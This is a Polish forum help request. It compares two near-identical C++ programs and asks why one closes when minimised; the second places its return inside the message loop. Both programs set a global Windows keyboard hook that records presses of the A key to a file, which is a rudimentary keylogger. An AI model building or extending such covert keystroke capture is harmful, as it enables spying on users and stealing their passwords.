Witam
Otóż mam taki problem z kodami są identyczne a nie działają tak samo ;/
otóż jeden działa prawidłowo można przełączać okna a się nie wyłączy a drugi wystarczy że się go zminimalizuje i już się zamyka
Pierwszy działający prawidłowo
kod:
Drugi nie działający prawidłowo
kod:
nie mam pojęcia czemu tak jest
za pomoc dzięki.
Otóż mam taki problem z kodami są identyczne a nie działają tak samo ;/
otóż jeden działa prawidłowo można przełączać okna a się nie wyłączy a drugi wystarczy że się go zminimalizuje i już się zamyka
Pierwszy działający prawidłowo
kod:
Kod:
#include <iostream>
#include <fstream>
#include <windows.h>
#define VK_A 65
using namespace std;
fstream out("plik.txt", ios::out);
const char g_szClassName[] = "klasa";
LRESULT CALLBACK LowLevelKeyboardProc(int nCode, WPARAM wParam, LPARAM lParam)
{
PKBDLLHOOKSTRUCT p= (PKBDLLHOOKSTRUCT) (lParam);
if(wParam==WM_KEYDOWN)
{
switch(p->vkCode)
{
case VK_A:
if(GetAsyncKeyState(VK_LSHIFT) | (GetAsyncKeyState(VK_RSHIFT))
) out << "A";
else
out << "a";
break;
}
}
return CallNextHookEx(NULL, nCode, wParam, lParam);
}
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd) {
HWND hwnd;
MSG Msg;
hwnd = CreateWindowEx(
WS_EX_CLIENTEDGE,
g_szClassName,
"klasa",
WS_OVERLAPPEDWINDOW,
CW_USEDEFAULT, CW_USEDEFAULT, 240, 120,
NULL, NULL, hInstance, NULL);
HHOOK keyboardHook = SetWindowsHookEx(
WH_KEYBOARD_LL,
LowLevelKeyboardProc,
GetModuleHandle(0), 0);
while(GetMessage(&Msg, NULL, 0, 0))
{
TranslateMessage(&Msg);
DispatchMessage(&Msg);
}
return Msg.wParam;
return 0;
}
Drugi nie działający prawidłowo
kod:
Kod:
#include <iostream>
#include <fstream>
#include <windows.h>
#define VK_A 65
using namespace std;
fstream out("plik.txt", ios::out);
const char g_szClassName[]= "klasa";
LRESULT CALLBACK LowLevelKeyboardProc(int nCode, WPARAM wParam, LPARAM lParam)
{
PKBDLLHOOKSTRUCT p = (PKBDLLHOOKSTRUCT) (lParam);
if(wParam==WM_KEYDOWN)
{
switch(p->vkCode)
{
case VK_A:
if(GetAsyncKeyState(VK_LSHIFT) | (GetAsyncKeyState(VK_RSHIFT))
) out << "A";
else
out << "a";
break;
}
}
return CallNextHookEx(NULL, nCode, wParam, lParam);
}
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd)
{
HWND hwnd;
MSG Msg;
hwnd = CreateWindowEx(
WS_EX_CLIENTEDGE,
g_szClassName,
"klasa",
WS_OVERLAPPEDWINDOW,
CW_USEDEFAULT, CW_USEDEFAULT, 240, 120,
NULL, NULL, hInstance, NULL);
HHOOK keyboardHook = SetWindowsHookEx(WH_KEYBOARD_LL, LowLevelKeyboardProc, GetModuleHandle(0), 0);
while(GetMessage(&Msg, NULL, 0, 0))
{
TranslateMessage(&Msg);
DispatchMessage(&Msg);
return Msg.wParam;
}
}
nie mam pojęcia czemu tak jest
za pomoc dzięki.